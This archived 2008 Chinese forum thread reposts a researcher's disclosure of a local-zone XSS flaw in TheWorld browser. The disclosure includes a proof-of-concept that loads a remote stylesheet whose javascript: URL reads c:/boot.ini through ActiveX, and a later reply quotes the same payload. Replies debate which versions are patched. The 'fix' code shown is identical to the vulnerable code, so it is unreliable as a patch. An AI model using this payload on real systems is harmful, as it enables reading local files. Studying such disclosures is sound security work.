世界之窗论坛's Archiver

lr9569 发表于 2008-6-26 20:03

世界之窗等浏览器本地xss跨域漏洞POC【已修复】

漏洞说明:[url=http://www.80sec.com/360-sec-browser-localzone-xss.html]http://www.80sec.com/360-sec-browser-localzone-xss.html[/url]

文档来源:[url=http://www.80sec.com/release/The-world-browser-locale-zone-xss-POC.txt]http://www.80sec.com/release/The ... le-zone-xss-POC.txt[/url]

漏洞分析:世界之窗浏览器在起始页面是以res://E:\PROGRA~1\THEWOR~1.0\languages\chs.dll/TWHOME.HTM的形式来处理的,而由于缺乏对res协议安全的必要控制,导致页面的权限很高,而该页面中存在的一个xss问题将导致本地跨域漏洞,简单分析如下:



<script language="JavaScript">
var nOldCount = 0;
for( i = 0; i < g_nCountOld; i ++ )
{
str_url = g_arr_argUrlOld[i];
str_name = g_arr_argNameOld[i];

str_td = “<tr ID=’twOldItem” + i +”‘><td valign=’top’ width=’64′><div align=’right’><a style=’cursor:hand’ title=’删除当前项’ onclick=\”javascript:tw_DeleteItemOld(’”+i+”‘);\”>” + “<img border=’0′ src=’twpage_delete.gif’ width=’16′ height=’16′></div></a></td>”;
document.write( str_td );

str_td = “<td><a target=’_blank’ href=’” + str_url + “‘>” + str_name + “</a></td></tr>”;
document.write( str_td );
nOldCount = i;
g_bHasLastUrl = true;
}

</script>

str_name和str_url不经过滤地直接输出,由于该页面处于本地安全区域,所以拥有很高的权限,可以做很多跨域操作,包括读取文件和运行本地程序。

漏洞修补:


<script language="JavaScript">
var nOldCount = 0;
for( i = 0; i < g_nCountOld; i ++ )
{
str_url = g_arr_argUrlOld[i];
str_name = g_arr_argNameOld[i];

str_td = “<tr ID=’twOldItem” + i +”‘><td valign=’top’ width=’64′><div align=’right’><a style=’cursor:hand’ title=’删除当前项’ onclick=\”javascript:tw_DeleteItemOld(’”+i+”‘);\”>” + “<img border=’0′ src=’twpage_delete.gif’ width=’16′ height=’16′></div></a></td>”;
document.write( str_td );

str_td = “<td><a target=’_blank’ href=’” + str_url + “‘>” + str_name + “</a></td></tr>”;
document.write( str_td );
nOldCount = i;
g_bHasLastUrl = true;
}

</script>

已经用js控制DOM显示了

漏洞演示:这里提供测试方法可以读取c:/boot.ini

1 打开如下地址:

sc:h’><script>alert(document.write(unescape(”%3CLINK%20REL%3D%22stylesheet%22%20HREF%3D%22http%3A%2f%2fwww.80sec.com/1.css%22%3E”)))</script>

2 上面将导致一个不可访问的页面,然后直接关闭tw浏览器( 没有好的办法crash,死循环?  )

3 重新打开tw浏览器,可以发现[url=http://www.80sec.com/1.css]http://www.80sec.com/1.css[/url]中的内容被解析,并且有本地域的权限。

1.css内容,换成其他js代码一样执行


body {
background-image: url('javascript:alert(document.location);xmlhttp=new ActiveXObject("Msxml2.XMLHTTP.3.0");xmlhttp.open("GET","c:/boot.ini",false);xmlhttp.send();alert(xmlhttp.responseText);')
}

漏洞状态:

2008-06-24通知厂商
2008-06-25修补

[url=http://www.ioage.com/cnnew/uplog.htm]http://www.ioage.com/cnnew/uplog.htm[/url]
他们修复了一些隐性bug  

其他浏览器如极速浏览器也可能存在问题:)

本站内容均为原创,转载请务必保留署名与链接!
世界之窗等浏览器本地xss跨域漏洞POC:[url=http://www.80sec.com/tw-local-zone-xss-poc.html]http://www.80sec.com/tw-local-zone-xss-poc.html[/url]


:angry: 大大赶紧处理~我转的别处的帖子:water:
+o( :@ :( :wait: :blood:[/i][/i][/i][/i]

世界窗 发表于 2008-6-26 21:00

帮顶,怎么不发到2.0区,现在人气本来就很低迷

himmel 发表于 2008-6-27 04:49

要是发过去,被和谐的可能性超过80% :ding:

mutalisker 发表于 2008-6-27 11:43

这个问题已经修复了, 在此借本帖也感谢一下80sec的朋友们

世界窗 发表于 2008-6-27 11:50

很和谐:water:2200修复过了吗?还是下一个版本?

[[i] 本帖最后由 世界窗 于 2008-6-27 11:51 编辑 [/i]]

靖哥哥 发表于 2008-6-27 13:24

回复 5# 世界窗 的帖子

2.2.0.0已修复了:)

AY 发表于 2008-6-27 19:23

[quote]原帖由 [i]靖哥哥[/i] 于 2008-6-27 13:24 发表 [url=http://bbs.ioage.com/cn/redirect.php?goto=findpost&pid=584515&ptid=61570][img]http://bbs.ioage.com/cn/images/common/back.gif[/img][/url]
2.2.0.0已修复了:) [/quote]
2.2.0.0 是 2.2 正式版?还是最新的 2.2 beta 已经修复了?

春风细雨 发表于 2008-6-27 19:24

已经修复就好了

quasimodo 发表于 2008-6-27 20:05

80sec是什么组织?

mutalisker 发表于 2008-6-28 02:52

[quote]原帖由 [i]AY[/i] 于 2008-6-27 19:23 发表 [url=http://bbs.ioage.com/cn/redirect.php?goto=findpost&pid=584803&ptid=61570][img]http://bbs.ioage.com/cn/images/common/back.gif[/img][/url]

2.2.0.0 是 2.2 正式版?还是最新的 2.2 beta 已经修复了? [/quote]

2.2.0.0版本已经修复了。

lgqlgf 发表于 2008-6-28 03:37

修复就好了,那么theworld的安全性又更高了!

yjhdeys 发表于 2008-6-28 07:23

这样的人才在TW多一些就更好啦:lol:

yanhuameili 发表于 2008-6-28 07:43

确实多多需要这方面的人才:lol:

phoenix 发表于 2008-6-28 11:38

2.2.0.1修复了另外一个跨域访问的漏洞,所以更加推荐使用

lr9569 发表于 2008-7-2 19:40

嘎嘎~~修复了?那赶紧更换去~

52twb 发表于 2008-7-2 20:04

此漏洞修复了?
LZ不要迷糊人了。试试你自己帖子的代码看看。
<style type="text/css">
body{background:url('javascript:XMLHTTP=new ActiveXObject("Msxml2.XMLHTTP.3.0");XMLHTTP.open("GET","c:/boot.ini",false);XMLHTTP.send();alert(XMLHTTP.responseText);')}
</style>
我的2.2.0.1依然执行此操作。

vanciki 发表于 2008-7-2 20:54

完全看不懂啊腌

mutalisker 发表于 2008-7-3 14:06

[quote]原帖由 [i]52twb[/i] 于 2008-7-2 20:04 发表 [url=http://bbs.ioage.com/cn/redirect.php?goto=findpost&amp;pid=588344&amp;ptid=61570][img]http://bbs.ioage.com/cn/images/common/back.gif[/img][/url]
此漏洞修复了?
LZ不要迷糊人了。试试你自己帖子的代码看看。

body{background:url('javascript:XMLHTTP=new ActiveXObject(&quot;Msxml2.XMLHTTP.3.0&quot;);XMLHTTP.open(&quot;GET&quot;,&quot;c:/boot.ini&quot;,false);XMLHTTP.send();ale ... [/quote]


你要是在本地页面写个这, 当然会执行啦, 这段代码是指利用漏洞获得本地权限后能做的事情

页: [1]

Powered by Discuz! Archiver 7.2  © 2001-2009 Comsenz Inc.